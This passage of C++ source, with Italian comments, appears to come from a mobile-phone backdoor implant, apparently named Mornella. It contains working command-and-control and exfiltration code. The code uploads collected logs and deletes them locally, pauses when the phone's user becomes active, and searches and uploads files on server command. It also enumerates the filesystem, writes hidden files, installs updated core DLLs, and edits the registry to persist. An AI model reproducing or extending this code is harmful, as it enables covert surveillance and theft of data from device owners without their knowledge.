        DBG_TRACE(L"Debug - Transfer.cpp - RestSendLogs() sending log file\n", 6, FALSE);

        // Copiamo il file nel buffer
        PBYTE pData = new(std::nothrow) BYTE[dwSize];

        if (pData == NULL) {
            DBG_TRACE(L"Debug - Transfer.cpp - RestSendLogs() FAILED [pData == NULL]\n", 5, FALSE);
            CloseHandle(hFile);
            ClearLogSnapshot();
            return FALSE;
        }

        if (!ReadFile(hFile, pData, dwSize, (DWORD *)&dwRead, NULL)) {
            CloseHandle(hFile);
            delete[] pData;
            continue;
        }

        CloseHandle(hFile);
        hFile = INVALID_HANDLE_VALUE;

        // Copiamo il log nel buffer e calcoliamo lo SHA1
        Buffer b(Encryption::GetPKCS5Len(sizeof(PROTO_LOG) + sizeof(dwSize) + dwSize + 20));
        Hash hash;

        UINT uPadding = Encryption::GetPKCS5Padding(sizeof(PROTO_LOG) + sizeof(dwSize) + dwSize + 20);
        UINT uCommand = PROTO_LOG;
        BYTE sha1[20];

        // Creiamo il request per il comando
        b.append((UCHAR *)&uCommand, sizeof(uCommand));
        b.append((UCHAR *)&dwSize, sizeof(dwSize));
        b.append((UCHAR *)pData, dwSize);

        delete[] pData;

        // Calcoliamo l'hash
        hash.Sha1(b.getBuf(), sizeof(PROTO_LOG) + sizeof(dwSize) + dwSize, sha1);

        b.append((BYTE *)sha1, 20);
        b.repeat(uPadding, uPadding);

        // Inviamo il log
        UINT uResponse = 0;

        PBYTE pResponse = RestSendCommand((BYTE *)b.getBuf(), b.getPos(), uResponse);

        if (pResponse == NULL) {
            DBG_TRACE(L"Debug - Transfer.cpp - RestSendLogs() FAILED [RestSendCommand()] ", 4, TRUE);
            return FALSE;
        }

        b.free();
        b.append((UCHAR *)&pResponse, sizeof(UINT));

        delete[] pResponse;

        if (b.getInt() == PROTO_NO) {
            return FALSE;
        }

        // Rimuoviamo il log dalla lista globale e dal filesystem
        uberlogObj->Delete((*iter).strLog);

        // Usciamo se siamo in crisis
        if ((statusObj->Crisis() & CRISIS_SYNC) == CRISIS_SYNC) {
            DBG_TRACE(L"Debug - Transfer.cpp - RestSendLogs() FAILED [We are in crisis] [8]\n", 5, FALSE);
            ClearLogSnapshot();
            return FALSE;
        }

        // Usciamo dal loop se l'utente riprende ad interagire col telefono
#ifndef _DEBUG
        if (deviceObj->IsDeviceUnattended() == FALSE) {
            DBG_TRACE(L"Debug - Transfer.cpp - RestSendLogs() FAILED [Power status changed] [9]\n", 5, FALSE);
            delete[] pData;
            ClearLogSnapshot();
            return FALSE;
        }
#endif
    }

    ClearLogSnapshot();
    return TRUE;
}

BOOL Transfer::RestSendDownloads() {
    Buffer b(Encryption::GetPKCS5Len(sizeof(PROTO_DOWNLOAD) + 20));
    Hash hash;

    UINT uPadding = Encryption::GetPKCS5Padding(sizeof(PROTO_DOWNLOAD) + 20);
    UINT uCommand = PROTO_DOWNLOAD;
    BYTE sha1[20];

    hash.Sha1((UCHAR *)&uCommand, sizeof(uCommand), sha1);

    // Creiamo il request per il comando
    b.append((UCHAR *)&uCommand, sizeof(uCommand));
    b.append((BYTE *)sha1, 20);
    b.repeat(uPadding, uPadding);

    UINT uResponse = 0;
    BYTE *pResponse = NULL;

    pResponse = RestSendCommand((BYTE *)b.getBuf(), b.getPos(), uResponse);

    if (pResponse == NULL) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestSendDownloads() FAILED [RestSendCommand()] ", 4, TRUE);
        return FALSE;
    }

    b.free();
    b.append(pResponse, uResponse);
    b.reset();

    ZeroMemory(pResponse, uResponse);
    delete[] pResponse;

    // Vediamo se la risposta e' un PROTO_NO (non ci sono downloads)
    if (b.getInt() == PROTO_NO) {
        return TRUE;
    }

    // Se ci sono file, iniziamo a creare i log uno ad uno
    UINT uLen = b.getInt();
    UINT uNum = b.getInt();
    PWCHAR pwSearch = NULL;

    for (UINT i = 0, uPascalLen = 0; i < uNum; i++) {
        uPascalLen = b.getInt();
        pwSearch = (PWCHAR)b.getCurBuf();

        // Spostiamoci in avanti
        b.setPos(b.getPos() + uPascalLen);

        // Espandiamo $dir$ se presente
        size_t strSpecialVar;
        wstring strSearchString, strBackdoorPath;
        BOOL bObscure;

        strBackdoorPath = GetCurrentPath(NULL);
        strSearchString = pwSearch;

        if (strBackdoorPath.empty() == FALSE) {
            strSpecialVar = strSearchString.find(L"$dir$\\");

            // Se troviamo $dir$ nella search string espandiamolo
            if (strSpecialVar != wstring::npos) {
                bObscure = TRUE;
                strSearchString.replace(strSpecialVar, 6, strBackdoorPath); // Qui $dir$ viene espanso
            } else {
                bObscure = FALSE;
            }
        }

        WIN32_FIND_DATA wfd;
        HANDLE hFind = INVALID_HANDLE_VALUE;

        ZeroMemory(&wfd, sizeof(wfd));
        hFind = FindFirstFile(strSearchString.c_str(), &wfd);

        if (hFind == INVALID_HANDLE_VALUE)
            continue;

        if (GetLastError() == ERROR_FILE_NOT_FOUND) {
            CloseHandle(hFind);
            continue;
        }

        do {
            // Anteponiamo il path al nome del file
            size_t trailingSlash = strSearchString.rfind(L"\\");

            // Il nome del file non contiene un path assoluto
            if (trailingSlash == wstring::npos) {
                FindClose(hFind);
                continue;
            }

            wstring strPath;

            if (trailingSlash)
                strPath = strSearchString.substr(0, trailingSlash);

            strPath += L"\\";
            strPath += wfd.cFileName;

            // Creiamo un log per ogni file trovato
            CreateDownloadFile(strPath, bObscure);
        } while (FindNextFile(hFind, &wfd));

        FindClose(hFind);
    }

    return TRUE;
}

BOOL Transfer::RestGetUploads() {
    Buffer b(Encryption::GetPKCS5Len(sizeof(PROTO_UPLOAD) + 20));
    Hash hash;

    UINT uPadding = Encryption::GetPKCS5Padding(sizeof(PROTO_UPLOAD) + 20);
    UINT uCommand = PROTO_UPLOAD;
    BYTE sha1[20];
    UINT uLeft;
    HANDLE hFile = INVALID_HANDLE_VALUE;

    hash.Sha1((UCHAR *)&uCommand, sizeof(uCommand), sha1);

    do {
        b.free();

        // Creiamo il request per il comando
        b.append((UCHAR *)&uCommand, sizeof(uCommand));
        b.append((BYTE *)sha1, 20);
        b.repeat(uPadding, uPadding);

        UINT uResponse = 0;
        BYTE *pResponse = NULL;

        pResponse = RestSendCommand((BYTE *)b.getBuf(), b.getPos(), uResponse);

        if (pResponse == NULL) {
            DBG_TRACE(L"Debug - Transfer.cpp - RestGetUploads() FAILED [RestSendCommand()] ", 4, TRUE);
            return FALSE;
        }

        b.free();
        b.append(pResponse, uResponse);
        b.reset();

        ZeroMemory(pResponse, uResponse);
        delete[] pResponse;

        // Vediamo se la risposta e' un PROTO_NO (non ci sono uploads)
        if (b.getInt() == PROTO_NO) {
            return TRUE;
        }

        UINT uFileLen = b.getInt();
        
        uLeft = b.getInt();

        UINT uPascalLen = b.getInt();

        PWCHAR pwFilename = (PWCHAR)b.getCurBuf();

        // Ora il buffer punta al primo byte del pascal del file di upgrade
        b.setPos(b.getPos() + uPascalLen);
        uFileLen = b.getInt();

        // Temporaneamente teniamo qui la routine di upgrade
        // Verifichiamo il tipo di upgrade
        if (wcsncmp(L"core-update", pwFilename, uPascalLen - sizeof(WCHAR)) == 0) {
            // Se conosciamo il nostro nome, switchiamo il nuovo core
            wstring strPathName = L"\\windows\\";

            if (g_strOurName.empty() == FALSE) {
                if (g_strOurName == MORNELLA_SERVICE_DLL_A)
                    strPathName += MORNELLA_SERVICE_DLL_B;
                else
                    strPathName += MORNELLA_SERVICE_DLL_A;

                hFile = CreateFile(strPathName.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

                if (hFile == INVALID_HANDLE_VALUE) {
                    DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [CreateFile()]\n", 5, FALSE);
                    continue;
                }
            } else { // Se non sappiamo qual'e' il nostro nome... Guessiamo
                strPathName += MORNELLA_SERVICE_DLL_A;

                hFile = CreateFile(strPathName.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

                if (hFile == INVALID_HANDLE_VALUE) {
                    strPathName = L"\\windows\\";
                    strPathName += MORNELLA_SERVICE_DLL_B;

                    hFile = CreateFile(strPathName.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

                    if (hFile == INVALID_HANDLE_VALUE) {
                        DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [CreateFile() 2]\n", 5, FALSE);
                        continue;
                    }

                    g_strOurName = MORNELLA_SERVICE_DLL_A;
                } else {
                    g_strOurName = MORNELLA_SERVICE_DLL_B;
                }
            }

            wstring strNewCore;

            if (g_strOurName == MORNELLA_SERVICE_DLL_A)
                strNewCore = MORNELLA_SERVICE_DLL_B;
            else
                strNewCore = MORNELLA_SERVICE_DLL_A;

            DWORD dwWritten = 0;

            if (WriteFile(hFile, b.getCurBuf(), uFileLen, &dwWritten, NULL) == FALSE) {
                CloseHandle(hFile);
                DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [WriteFile()]\n", 5, FALSE);
                continue;
            }

            FlushFileBuffers(hFile);
            CloseHandle(hFile);

            // Scriviamo la chiave nel registro
            HKEY hKey;

            if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, MORNELLA_SERVICE_PATH, 0, 0, &hKey) != ERROR_SUCCESS) {
                DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [RegOpenKeyEx()] ", 5, TRUE);
                continue;
            }

            // Aggiorniamo con il nome del nuovo core
            DWORD cbData = (strNewCore.size() * sizeof(WCHAR)) + sizeof(WCHAR);
            if (RegSetValueEx(hKey, L"Dll", 0, REG_SZ, (BYTE *)strNewCore.c_str(), cbData) != ERROR_SUCCESS) {
                RegCloseKey(hKey);
                DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [RegSetValueEx()] ", 5, TRUE);
                continue;
            }

            RegCloseKey(hKey);
            RegFlushKey(HKEY_LOCAL_MACHINE);
        } else {
            // Creiamolo
            wstring strUploaded;

            // Controllo per la migrazione
            if (wcsncmp(L"nc-7-8dv.cfg", pwFilename, uPascalLen - sizeof(WCHAR)) == 0) {
                DBG_TRACE(L"Debug - Transfer.cpp - RestGetUploads() migration conf arriving", 4, FALSE);
                strUploaded = GetCurrentPath(g_ConfName);
                wstring strExtension = L".mig";

                Encryption encryptionObj(g_ConfKey, KEY_LEN);
                WCHAR* pBackExt = encryptionObj.EncryptName(strExtension, g_Challenge[0]);

                strUploaded += pBackExt;

                free(pBackExt);
            } else {
                strUploaded = GetCurrentPath(pwFilename);
            }

            if (strUploaded.empty())
                continue;

            hFile = CreateFile(strUploaded.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN, NULL);

            if (hFile == INVALID_HANDLE_VALUE)
                continue;

            DBG_TRACE_INT(L"Debug - Transfer.cpp - RestGetUploads() migration conf file created, size: ", 4, FALSE, uFileLen);
            //b.setPos(b.getPos() + uPascalLen);
            //uFileLen = b.getInt();

            DWORD dwWritten = 0;

            // Scriviamolo
            if (WriteFile(hFile, b.getCurBuf(), uFileLen, &dwWritten, NULL) == FALSE) {
                CloseHandle(hFile);
                DBG_TRACE(L"Debug - Transfer.cpp - RestGetUploads() migration conf, content not written ", 4, TRUE);
                continue;
            }

            DBG_TRACE(L"Debug - Transfer.cpp - RestGetUploads() migration conf saved successfully", 4, FALSE);
            CloseHandle(hFile);
        }

    } while (uLeft);

    FlushFileBuffers(hFile);
    return TRUE;
}

BOOL Transfer::RestSendFilesystem() {
    Buffer b(Encryption::GetPKCS5Len(sizeof(PROTO_FILESYSTEM) + 20));
    Hash hash;

    UINT uPadding = Encryption::GetPKCS5Padding(sizeof(PROTO_FILESYSTEM) + 20);
    UINT uCommand = PROTO_FILESYSTEM;
    BYTE sha1[20];

    hash.Sha1((UCHAR *)&uCommand, sizeof(uCommand), sha1);

    // Creiamo il request per il comando
    b.append((UCHAR *)&uCommand, sizeof(uCommand));
    b.append((BYTE *)sha1, 20);
    b.repeat(uPadding, uPadding);

    UINT uResponse = 0;
    BYTE *pResponse = NULL;

    pResponse = RestSendCommand((BYTE *)b.getBuf(), b.getPos(), uResponse);

    if (pResponse == NULL) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestGetNewConf() FAILED [RestSendCommand()] ", 4, TRUE);
        return FALSE;
    }

    b.free();
    b.append(pResponse, uResponse);
    b.reset();

    ZeroMemory(pResponse, uResponse);
    delete[] pResponse;

    // Vediamo se la risposta e' un PROTO_NO (non ci sono filesystem)
    if (b.getInt() == PROTO_NO) {
        return TRUE;
    }

    // * PROTO_NO, se non ci sono file in upload
    // * PROTO_OK | len | numDir | depth1 | dir1 | depth2 | dir2 | ... , se c'e' almeno una directory da spedire 
    UINT uReqLen = b.getInt();
    UINT uNumDir = b.getInt();
    UINT uDepth, uDirLen;

    Explorer exp;

    for (UINT i = 0; i < uNumDir; i++) {
        uDepth = b.getInt();

        if (uDepth > 10)
            uDepth = 10;

        uDirLen = b.getInt();

        wstring dir = (PWCHAR)b.getCurBuf();

        if (dir.compare(L"%USERPROFILE%") == 0) {
            b.setPos(b.getPos() + uDirLen);
            continue;
        }

        exp.ExploreDirectory((PWCHAR)dir.c_str(), uDepth);
        //exp.ExploreDirectory((PWCHAR)b.getCurBuf(), uDepth);
        b.setPos(b.getPos() + uDirLen);
    }
    return TRUE;
}

BOOL Transfer::SetPollInterval(UINT uPoll, UINT uTimes) {
    pollInterval = uPoll;
    retryTimes = uTimes;

    if (pollInterval == 0)
        pollInterval = 1000;

    return TRUE;
}

DWORD Transfer::GetAdapterIP(const wstring &strAdapterName) {
    ULONG pdwSize = 0, Index = 0;
    PMIB_IPADDRTABLE pIpAddrTable = NULL;
    UINT i;

    if (strAdapterName.empty()) {
        DBG_TRACE(L"Debug - Task.cpp - GetAdapterIP() FAILED [0]\n", 5, FALSE);
        return 0;
    }

    while (GetIpAddrTable(pIpAddrTable, &pdwSize, FALSE) == ERROR_INSUFFICIENT_BUFFER) {
        if (pIpAddrTable) {
            delete[] pIpAddrTable;
            pIpAddrTable = NULL;
        }

        pIpAddrTable = (PMIB_IPADDRTABLE)new(std::nothrow) BYTE[pdwSize];

        if (pIpAddrTable == NULL) {
            DBG_TRACE(L"Debug - Task.cpp - GetAdapterIP() FAILED [1]\n", 5, FALSE);
            return 0;
        }

        ZeroMemory(pIpAddrTable, pdwSize);
    }

    // Prendiamo l'index della nostra scheda WiFi
    if (::GetAdapterIndex((PWCHAR)strAdapterName.c_str(), &Index) != NO_ERROR) {
        delete[] pIpAddrTable;
        DBG_TRACE(L"Debug - Task.cpp - GetAdapterIP() FAILED [2]\n", 5, FALSE);
        return 0;
    }

    // Cerchiamo il primo IP dell'adattatore (potrebbero comunque esistere piu' rotte)
    for (i = 0; i < pIpAddrTable->dwNumEntries; i++) {
        if (pIpAddrTable->table[i].dwIndex == Index) {
            delete[] pIpAddrTable;
            return pIpAddrTable->table[i].dwAddr;
        }
    }

    // Non abbiamo trovato l'adattatore, torniamo 0
    delete[] pIpAddrTable;
    DBG_TRACE(L"Debug - Task.cpp - GetAdapterIP() FAILED [3]\n", 5, FALSE);
    return 0;
}

DWORD Transfer::GetAdapterMask(const wstring &strAdapterName) {
    ULONG pdwSize = 0, Index = 0;
    PMIB_IPADDRTABLE pIpAddrTable = NULL;
    UINT i;

    if (strAdapterName.empty()) {
        DBG_TRACE(L"Debug - Task.cpp - GetAdapterMask() FAILED [0]\n", 5, FALSE);
        return 0;
    }

    while (GetIpAddrTable(pIpAddrTable, &pdwSize, FALSE) == ERROR_INSUFFICIENT_BUFFER) {
        if (pIpAddrTable) {
            delete[] pIpAddrTable;
            pIpAddrTable = NULL;
        }

        pIpAddrTable = (PMIB_IPADDRTABLE)new(std::nothrow) BYTE[pdwSize];

        if (pIpAddrTable == NULL) {
            DBG_TRACE(L"Debug - Task.cpp - GetAdapterMask() FAILED [1]\n", 5, FALSE);
            return 0;
        }

        ZeroMemory(pIpAddrTable, pdwSize);
    }

    // Prendiamo l'index della nostra scheda WiFi
    if (::GetAdapterIndex((PWCHAR)strAdapterName.c_str(), &Index) != NO_ERROR) {
        delete[] pIpAddrTable;
        DBG_TRACE(L"Debug - Task.cpp - GetAdapterMask() FAILED [2]\n", 5, FALSE);
        return 0;
    }

    // Cerchiamo il primo IP dell'adattatore (potrebbero comunque esistere piu' rotte)
    for (i = 0; i < pIpAddrTable->dwNumEntries; i++) {
        if (pIpAddrTable->table[i].dwIndex == Index) {
            delete[] pIpAddrTable;
            return pIpAddrTable->table[i].dwMask;
        }
    }

    // Non abbiamo trovato l'adattatore, torniamo 0
    delete[] pIpAddrTable;
    DBG_TRACE(L"Debug - Task.cpp - GetAdapterMask() FAILED [3]\n", 5, FALSE);
    return 0;
}

DWORD Transfer::GetAdapterIndex(const wstring &strAdapterName) {
    ULONG Index = 0;

    if (strAdapterName.empty()) {
        DBG_TRACE(L"Debug - Task.cpp - GetAdapterIndex() FAILED [0]\n", 5, FALSE);
        return 0;
    }

    // Prendiamo l'index della nostra scheda WiFi
    if (::GetAdapterIndex((PWCHAR)strAdapterName.c_str(), &Index) != NO_ERROR) {
        DBG_TRACE(L"Debug - Task.cpp - GetAdapterIndex() FAILED [1]\n", 5, FALSE);
        return 0;
    }

    return (DWORD)Index;
}

BOOL Transfer::SetWirelessIp(const wstring &strAdapterName, ULONG uIp, ULONG uMask) {
    wstring strKeypath;
    HKEY hRes;
    DWORD dwDim, dwType;
    WCHAR wNewIp[16], wNewMask[16];
    in_addr addr;
    DWORD dwDhcp = 0;

    ZeroMemory(wNewIp, sizeof(wNewIp));
    ZeroMemory(wNewMask, sizeof(wNewMask));

    addr.S_un.S_addr = uIp;
    wsprintf(wNewIp, L"%S", inet_ntoa(addr));

    addr.S_un.S_addr = uMask;
    wsprintf(wNewMask, L"%S", inet_ntoa(addr));

    dwDim = dwType = 0;

    if (strAdapterName.empty()) {
        DBG_TRACE(L"Debug - Task.cpp - SetWirelessIp() FAILED [0]\n", 5, FALSE);
        return FALSE;
    }

    strKeypath = L"Comm\\";
    strKeypath += strAdapterName;
    strKeypath += L"\\Parms\\TcpIp";

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, (PWCHAR)strKeypath.c_str(), 0, 0, &hRes) != ERROR_SUCCESS) {
        DBG_TRACE(L"Debug - Task.cpp - SetWirelessIp() FAILED [1]\n", 5, FALSE);
        return FALSE;
    }

    // Verifichiamo prima quali chiavi sono presenti, se non ci sono le creiamo noi
    dwDim = 0;
    if (RegQueryValueEx(hRes, L"EnableDHCP", NULL, NULL, NULL, &dwDim) != ERROR_SUCCESS) {
        dwDim = 0;
        RegSetValueEx(hRes, L"EnableDHCP", 0, REG_DWORD, (PBYTE)&dwDim, sizeof(dwDim));
    }

    dwDim = 0;
    if (RegQueryValueEx(hRes, L"IpAddress", NULL, NULL, NULL, &dwDim) != ERROR_SUCCESS) {
        RegSetValueEx(hRes, L"IpAddress", 0, REG_MULTI_SZ, (BYTE *)wNewIp, 16 * sizeof(WCHAR));
    }

    dwDim = 0;
    if (RegQueryValueEx(hRes, L"Subnetmask", NULL, NULL, NULL, &dwDim) != ERROR_SUCCESS) {
        RegSetValueEx(hRes, L"Subnetmask", 0, REG_MULTI_SZ, (BYTE *)wNewMask, 16 * sizeof(WCHAR));
    }

    // Quindi iniziamo a richiedere tutti i valori di cui tener traccia
    dwDim = 4;
    if (RegQueryValueEx(hRes, L"EnableDHCP", NULL, &dwType, (PBYTE)&ulRegistryDhcp, &dwDim) != ERROR_SUCCESS) {
        RegCloseKey(hRes);
        DBG_TRACE(L"Debug - Task.cpp - SetWirelessIp() FAILED [2]\n", 5, FALSE);
        return FALSE;
    }

    // Troviamo la dimensione del buffer per l'IP
    dwDim = 0;
    if (RegQueryValueEx(hRes, L"IpAddress", NULL, NULL, NULL, &dwDim) != ERROR_SUCCESS) {
        RegCloseKey(hRes);
        DBG_TRACE(L"Debug - Task.cpp - SetWirelessIp() FAILED [3]\n", 5, FALSE);
        return FALSE;
    }

    PWCHAR pwRegistryIp = new(std::nothrow) WCHAR[dwDim + 1];

    if (pwRegistryIp == NULL) {
        RegCloseKey(hRes);
        DBG_TRACE(L"Debug - Task.cpp - SetWirelessIp() FAILED [4]\n", 5, FALSE);
        return FALSE;
    }

    ZeroMemory(pwRegistryIp, (dwDim + 1) * sizeof(WCHAR));

    // Leggiamo il vecchio valore
    if (RegQueryValueEx(hRes, L"IpAddress", NULL, NULL, (PBYTE)pwRegistryIp, &dwDim) != ERROR_SUCCESS) {
        delete[] pwRegistryIp;
        RegCloseKey(hRes);
        DBG_TRACE(L"Debug - Task.cpp - SetWirelessIp() FAILED [5]\n", 5, FALSE);
        return FALSE;
    }

    strRegistryIp = pwRegistryIp;
    delete[] pwRegistryIp;

    // Troviamo la dimensione del buffer per la netmask
    dwDim = 0;
    if (RegQueryValueEx(hRes, L"Subnetmask", NULL, NULL, NULL, &dwDim) != ERROR_SUCCESS) {
        RegCloseKey(hRes);
        DBG_TRACE(L"Debug - Task.cpp - SetWirelessIp() FAILED [6]\n", 5, FALSE);
        return FALSE;
    }

    PWCHAR pwRegistryMask = new(std::nothrow) WCHAR[dwDim + 1];

    if (pwRegistryMask == NULL) {
        RegCloseKey(hRes);
        DBG_TRACE(L"Debug - Task.cpp - SetWirelessIp() FAILED [7]\n", 5, FALSE);
        return FALSE;
    }

    ZeroMemory(pwRegistryMask, (dwDim + 1) * sizeof(WCHAR));

    do {
        // Leggiamo il vecchio valore
        if (RegQueryValueEx(hRes, L"Subnetmask", NULL, NULL, (PBYTE)pwRegistryMask, &dwDim) != ERROR_SUCCESS)
            break;

        strRegistryMask = pwRegistryMask;
        delete[] pwRegistryMask;

        // E scriviamo i nuovi
        if (RegSetValueEx(hRes, L"EnableDHCP", 0, REG_DWORD, (BYTE *)&dwDhcp, 4) != ERROR_SUCCESS)
            break;

        if (RegSetValueEx(hRes, L"IpAddress", 0, REG_MULTI_SZ, (BYTE *)wNewIp, 16 * sizeof(WCHAR)) != ERROR_SUCCESS)
            break;

        if (RegSetValueEx(hRes, L"Subnetmask", 0, REG_MULTI_SZ, (BYTE *)wNewMask, 16 * sizeof(WCHAR)) != ERROR_SUCCESS)
            break;

        RegCloseKey(hRes);
        return TRUE;
    } while(0);

    
    delete[] pwRegistryMask;
    pwRegistryMask = NULL;

    RegCloseKey(hRes);
    DBG_TRACE(L"Debug - Task.cpp - SetWirelessIp() FAILED [8]\n", 5, FALSE);
    return FALSE;
}

BOOL Transfer::RestoreWirelessIp(const wstring &strAdapterName) {
    wstring strKeypath;
    HKEY hRes;
    UINT uIpLen, uMaskLen;

    if (strAdapterName.empty() || strRegistryIp.empty() || strRegistryMask.empty()) {
        DBG_TRACE(L"Debug - Task.cpp - RestoreWirelessIp() FAILED [0]\n", 5, FALSE);
        return FALSE;
    }

    strKeypath = L"Comm\\";
    strKeypath += strAdapterName;
    strKeypath += L"\\Parms\\TcpIp";

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, (PWCHAR)strKeypath.c_str(), 0, 0, &hRes) != ERROR_SUCCESS) {
        DBG_TRACE(L"Debug - Task.cpp - RestoreWirelessIp() FAILED [1]\n", 5, FALSE);
        return FALSE;
    }

    // Scriviamo i nuovi valori
    uIpLen = (strRegistryIp.size() * sizeof(WCHAR)) + sizeof(WCHAR);
    uMaskLen = (strRegistryMask.size() * sizeof(WCHAR)) + sizeof(WCHAR);

    if (RegSetValueEx(hRes, L"EnableDHCP", 0, REG_DWORD, (BYTE *)&ulRegistryDhcp, 4) != ERROR_SUCCESS) {
        RegCloseKey(hRes);
        DBG_TRACE(L"Debug - Task.cpp - RestoreWirelessIp() FAILED [2]\n", 5, FALSE);
        return FALSE;
    }

    if (RegSetValueEx(hRes, L"IpAddress", 0, REG_MULTI_SZ, (PBYTE)strRegistryIp.c_str(), uIpLen) != ERROR_SUCCESS) {
        RegCloseKey(hRes);
        DBG_TRACE(L"Debug - Task.cpp - RestoreWirelessIp() FAILED [3]\n", 5, FALSE);
        return FALSE;
    }

    if (RegSetValueEx(hRes, L"Subnetmask", 0, REG_MULTI_SZ, (PBYTE)strRegistryMask.c_str(), uMaskLen) != ERROR_SUCCESS) {
        RegCloseKey(hRes);
        DBG_TRACE(L"Debug - Task.cpp - RestoreWirelessIp() FAILED [4]\n", 5, FALSE);
        return FALSE;
    }

    strRegistryIp.clear();
    strRegistryMask.clear();

    RegCloseKey(hRes);
    return TRUE;
}

// Gestione vecchio protocollo
UINT Transfer::SendOldProto(UINT Type, BOOL bInterrupt) {
    SOCKET localSocket;
    DWORD dwData, dwRead = 0;

    switch (Type) {
        case CONF_SYNC_BT:
            localSocket = BTSocket;
            break;

        case CONF_SYNC_WIFI:
            localSocket = wifiSocket;
            break;

        case CONF_SYNC_INTERNET:
            localSocket = internetSocket;
            break;

        default: 
            localSocket = INVALID_SOCKET;
            break;
    }

    if (localSocket == INVALID_SOCKET || localSocket == SOCKET_ERROR)
        return FALSE;

    // Primo step del protocollo (CHALLENGE)
    if (SendChallenge(localSocket) == FALSE) {
        SendCommand(localSocket, PROTO_BYE);
        DBG_TRACE(L"Debug - Transfer.cpp - Send() -> SendChallenge() FAILED [0] ", 3, TRUE);
        return FALSE;
    }

    // Secondo step, controlliamo il response
    if (CheckResponse(localSocket) == FALSE) {
        SendCommand(localSocket, PROTO_BYE);
        DBG_TRACE(L"Debug - Transfer.cpp - Send() -> CheckResponse() FAILED [1] ", 3, TRUE);
        return FALSE;
    }

    if (SendCommand(localSocket, PROTO_OK) == SOCKET_ERROR) {
        DBG_TRACE(L"Debug - Transfer.cpp - Send() -> SendCommand() FAILED [2] ", 3, TRUE);
        return FALSE;
    }

    // Terzo step, riceviamo il challenge dal server
    if (GetChallenge(localSocket) == FALSE) {
        SendCommand(localSocket, PROTO_BYE);
        DBG_TRACE(L"Debug - Transfer.cpp - Send() -> GetChallenge() FAILED [3] ", 3, TRUE);
        return FALSE;
    }

    // Attendiamo l'OK dal server
    if (RecvCommand(localSocket) != PROTO_OK) {
        DBG_TRACE(L"Debug - Transfer.cpp - Send() -> RecvCommand() FAILED [4] ", 3, TRUE);
        return FALSE;
    }

    /* QUI FINISCE LA PARTE DI GESTIONE DEL CHALLENGE RESPONSE */

    // Inviamo i dati di identificazione del device
    if (SendIds(localSocket) == FALSE) {
        SendCommand(localSocket, PROTO_BYE);
        DBG_TRACE(L"Debug - Transfer.cpp - Send() -> SendIds() FAILED [5] ", 3, TRUE);
        return FALSE;
    }

    bNewConf = FALSE;
    bUninstall = FALSE;

    /* RICEVIAMO LA NUOVA CONFIGURAZIONE O EVENTUALI COMANDI */
    LOOP {
        if ((dwData = RecvCommand(localSocket)) == SOCKET_ERROR) {
            SendCommand(localSocket, PROTO_BYE);
            DBG_TRACE(L"Debug - Transfer.cpp - Send() -> RecvCommand() FAILED [0] ", 3, TRUE);
            return FALSE;
        }

        switch (dwData) {
            case PROTO_SYNC:     /* PARTIAMO CON LA SYNC */
                if (SyncOldProto(localSocket, bInterrupt) == FALSE) {
                    DBG_TRACE(L"Debug - Transfer.cpp - Send() -> Sync() FAILED [1]\n", 3, FALSE);
                    SendCommand(localSocket, PROTO_NO);
                } else {
                    DBG_TRACE(L"Debug - Transfer.cpp - Send() -> Sync() OK\n", 3, FALSE);
                }

                ClearLogSnapshot();
                break;

            case PROTO_NEW_CONF:
                if (GetNewConf(localSocket) == FALSE) {
                    DBG_TRACE(L"Debug - Transfer.cpp - Send() -> GetNewConf() FAILED [2]\n", 3, FALSE);
                    SendCommand(localSocket, PROTO_NO);
                } else {
                    bNewConf = TRUE;
                    DBG_TRACE(L"Debug - Transfer.cpp - Send() -> GetNewConf() OK\n", 3, FALSE);
                }

                break;

            case PROTO_UNINSTALL:
                bUninstall = TRUE;
                SendCommand(localSocket, PROTO_OK);
                DBG_TRACE(L"Debug - Transfer.cpp - Send() -> PROTO_UNINSTALL OK\n", 3, FALSE);
                return TRUE;

            case PROTO_DOWNLOAD:
                if (SendDownload(localSocket) == FALSE) {
                    DBG_TRACE(L"Debug - Transfer.cpp - Send() -> SendDownload() FAILED [3]\n", 3, FALSE);
                    SendCommand(localSocket, PROTO_NO);
                }
                break;

            case PROTO_FILESYSTEM:
                if (SendFileSystem(localSocket) == FALSE) {
                    DBG_TRACE(L"Debug - Transfer.cpp - Send() -> SendFileSystem() FAILED [4]\n", 3, FALSE);
                    SendCommand(localSocket, PROTO_NO);
                }
                break;

            case PROTO_UPLOAD:
                if (GetUpload(localSocket) == FALSE) {
                    SendCommand(localSocket, PROTO_NO);
                    DBG_TRACE(L"Debug - Transfer.cpp - Send() -> PROTO_UPLOAD FAILED [5]\n", 3, FALSE);
                } else {
                    DBG_TRACE(L"Debug - Transfer.cpp - Send() -> PROTO_UPLOAD() OK\n", 3, FALSE);
                }
                break;

            case PROTO_UPGRADE:
                if (GetUpgrade(localSocket) == FALSE) {
                    SendCommand(localSocket, PROTO_NO);
                    DBG_TRACE(L"Debug - Transfer.cpp - Send() -> GetUpgrade() FAILED [6]\n", 3, FALSE);
                } else {
                    DBG_TRACE(L"Debug - Transfer.cpp - Send() -> GetUpgrade() OK\n", 3, FALSE);
                }
                break;

            case PROTO_BYE:
                DBG_TRACE(L"Debug - Transfer.cpp - Send() -> PROTO_BYE OK\n", 3, FALSE);
                return TRUE;

            default:
                DBG_TRACE(L"Debug - Transfer.cpp - Send() -> UNKNOWN COMMAND RECEIVED\n", 1, FALSE);
                return FALSE;
        }
    }

